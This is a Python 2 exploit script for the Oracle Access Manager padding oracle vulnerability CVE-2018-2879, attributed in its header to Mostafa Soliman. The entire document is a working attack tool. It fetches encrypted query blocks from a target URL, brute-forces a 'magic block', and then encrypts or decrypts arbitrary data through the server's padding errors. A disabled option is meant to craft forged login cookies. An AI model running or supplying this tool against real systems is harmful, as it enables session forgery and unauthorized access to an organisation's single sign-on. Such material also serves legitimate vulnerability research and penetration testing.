''' Oracle OAM Padding Oracle CVE-2018-2879 Exploit Written By Mostafa Soliman "https://github.com/MostafaSoliman" Based on the explination by sec-consult "https://www.sec-consult.com/en/blog/2018/05/oracle-access-managers-identity-crisis/" ''' import argparse import base64 import sys import os import requests import logging import socket import time import hashlib from random import randint from paddingoracle import BadPaddingException, PaddingOracle import time from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) BLOCK_SIZE = 16 def url_encode(st): st = st.replace("+","%2B").replace("/","%2F").replace("=","%3D") return st def url_decode(st): st = st.replace("%2B","+").replace("%2F","/").replace("%3D","=") return st class PadBuster(PaddingOracle): def __init__(self, **kwargs): super(PadBuster, self).__init__(**kwargs) self.wait = kwargs.get('wait', 2.0) self.magic_block = kwargs.get('magic_block') url = kwargs.get('url') self.left = url.split("encquery%3D")[0] self.right = url.split("%20")[1:] def oracle(self, data, **kwargs): encquery = base64.b64decode(self.magic_block) + data encquery = url_encode(base64.b64encode(encquery)) url = self.left+"encquery%3D"+encquery+"%20"+"%20".join(self.right) while 1: try: response = requests.get(url, stream=False, timeout=15, verify=False) break except (socket.error, requests.exceptions.RequestException): logging.exception('Retrying request in %.2f seconds...', self.wait) time.sleep(self.wait) continue #exit() self.history.append(response) if "System error. Please re-try your action. If you continue to get this error, please contact the Administrator" not in response.text: logging.debug('No padding exception raised on %s', base64.b64encode(data)) return raise BadPaddingException def last_2_blocks(url): r = requests.get(url,verify=False,allow_redirects=False) encquery = r.headers['Location'].split("encquery%3D")[1].split("%20")[0] data = base64.b64decode(url_decode(encquery)) data_blocks = data_to_blocks(data) return data_blocks[-2:] def fix_url_padding(url): if '?' not in url: url += "?" else: url += "&" r = requests.get(url,verify=False,allow_redirects=False) encquery = r.headers['Location'].split("encquery%3D")[1].split("%20")[0] data = base64.b64decode(url_decode(encquery)) last_blocks_number = len(data) print ' "" --> %d bytes' %(last_blocks_number) for i in range(1,16): d = "a"*i r = requests.get(url+d,verify=False,allow_redirects=False) encquery = r.headers['Location'].split("encquery%3D")[1].split("%20")[0] data = base64.b64decode(url_decode(encquery)) print ' "%s" --> %d bytes' %(d,len(data)) if len(data) == last_blocks_number + 16: print ' "%s" resulted in adding new block ....'%(d) return url+d,r.headers['Location'] def data_to_blocks(data): data_blocks = [] for i in range(0,len(data),BLOCK_SIZE): data_blocks.append(data[i:i+BLOCK_SIZE]) return data_blocks def oracle(url): r = requests.get(url,verify=False,allow_redirects=False) if "System error. Please re-try your action. If you continue to get this error, please contact the Administrator" in r.text: return False elif "Login - Oracle Access Management 11g" in r.text: return True else: print "[Error] The oracle can't identify the response, please check the response manually, identify the difference in reponses and update the exploit" exit() def brute(oam_redirect_url,last_blocks): print "[#] BruteForcing the Magic Block ..." found = False left = oam_redirect_url.split("encquery%3D")[0] right = oam_redirect_url.split("%20")[1:] encquery = oam_redirect_url.split("encquery%3D")[1].split("%20")[0] data = base64.b64decode(url_decode(encquery)) data_blocks = data_to_blocks(data) exec_num = 0 while not found: new_data = "" new_data = "".join(data_blocks[:-1])+ "".join([chr(randint(0,255)) for i in range(16)]) + "".join(last_blocks) new_data = base64.b64encode(new_data) new_data = url_encode(new_data) url = left+"encquery%3D"+new_data+"%20"+"%20".join(right) results = oracle(url) exec_num += 1 if results : found = True print "[#] Magic Block found after %d tries"%(exec_num) print url_decode(new_data) return url_decode(new_data) def check_saved_status(url): filename = "status.txt" if os.path.exists(filename): with open(filename, 'r') as f: data = f.read() for line in data.split("\n"): if url in line: return line.split("::")[2] return None def save_status(target_url,padding_fixed_url,magic_block): filename = "status.txt" with open(filename, 'a') as f: data = f.write("%s::%s::%s\n"%(target_url,padding_fixed_url,magic_block)) def perform_attack(target_url): print "[#] Getting the Last 2 Blocks ..." last_blocks = last_2_blocks(target_url) print "[#] Getting the correct length ..." padding_fixed_url, oam_redirect_url = fix_url_padding(target_url) magic_block = brute(oam_redirect_url,last_blocks) save_status(target_url,padding_fixed_url,magic_block) return magic_block def encrypt_data(plain_text,url,magic_block): print "[#] Encrypting the data (will take several minutes)..... " if verb: logging.basicConfig(level=logging.INFO) logging.getLogger('urllib3.connectionpool').setLevel(logging.INFO) padbuster = PadBuster(url = url, magic_block = magic_block) encrypted_data = padbuster.encrypt(plain_text, block_size=BLOCK_SIZE, iv=bytearray(BLOCK_SIZE)) print('Encrypted data: %s' % (base64.b64encode(encrypted_data))) def decrypt_data(cipher_text,url,magic_block): print "[#] Decrypting the data (will take several minutes)..... " if verb: logging.basicConfig(level=logging.INFO) logging.getLogger('urllib3.connectionpool').setLevel(logging.INFO) cipher_text = base64.b64decode(url_decode(cipher_text)) padbuster = PadBuster(url = url, magic_block = magic_block) decrypted_data = padbuster.decrypt(cipher_text, block_size=BLOCK_SIZE, iv=bytearray(BLOCK_SIZE)) print('Decrypted data: %s' % (decrypted_data)) print('Decrypted data (HEX): %s' % (str(decrypted_data).encode("hex"))) def print_banner(): print """ ####### # # # ####### # # # # ## ## # # # ##### # #### # ##### # # # # # # # # # # # # # # # # # # # # # # # # # ##### ## # # # # # # # # # ####### # # # ## ##### # # # # # # # # # # # # # # # # # # # # ####### # # # # ####### # # # ###### #### # # Oracle Padding Oracle coded by: Mostafa Soliman """ def main(): print_banner() parser = argparse.ArgumentParser() parser.add_argument("URL", help="Target resource URL") parser.add_argument("-e", "--encrypt",help="Encrypt plain text data") parser.add_argument("-d", "--decrypt",help="Decrypt base64 encode cipher text") #parser.add_argument("-c", "--craft_cookie",action="store_true",default=False,help="Craft a login cookie") parser.add_argument("-v", "--verb",action="store_true",default=False,help="Show decrypt block info") parser.parse_args() args = parser.parse_args() target_url = args.URL global verb verb = args.verb magic_block = check_saved_status(target_url) if not magic_block: magic_block = perform_attack(target_url) else: print "[#] Magic blocks found in saved status" print magic_block ''' if args.craft_cookie: print '[#] Crafting a fake cookie ....' cookie_str = construct_cookie() print ' Crafted Cookie:' print ' ',cookie_str r = requests.get(target_url,verify=False,allow_redirects=False) encrypt_data(cookie_str,r.headers['Location'],magic_block) exit() ''' if args.encrypt: r = requests.get(target_url,verify=False,allow_redirects=False) encrypt_data(args.encrypt,r.headers['Location'],magic_block) if args.decrypt: r = requests.get(target_url,verify=False,allow_redirects=False) decrypt_data(args.decrypt,r.headers['Location'],magic_block) if __name__ == '__main__': main()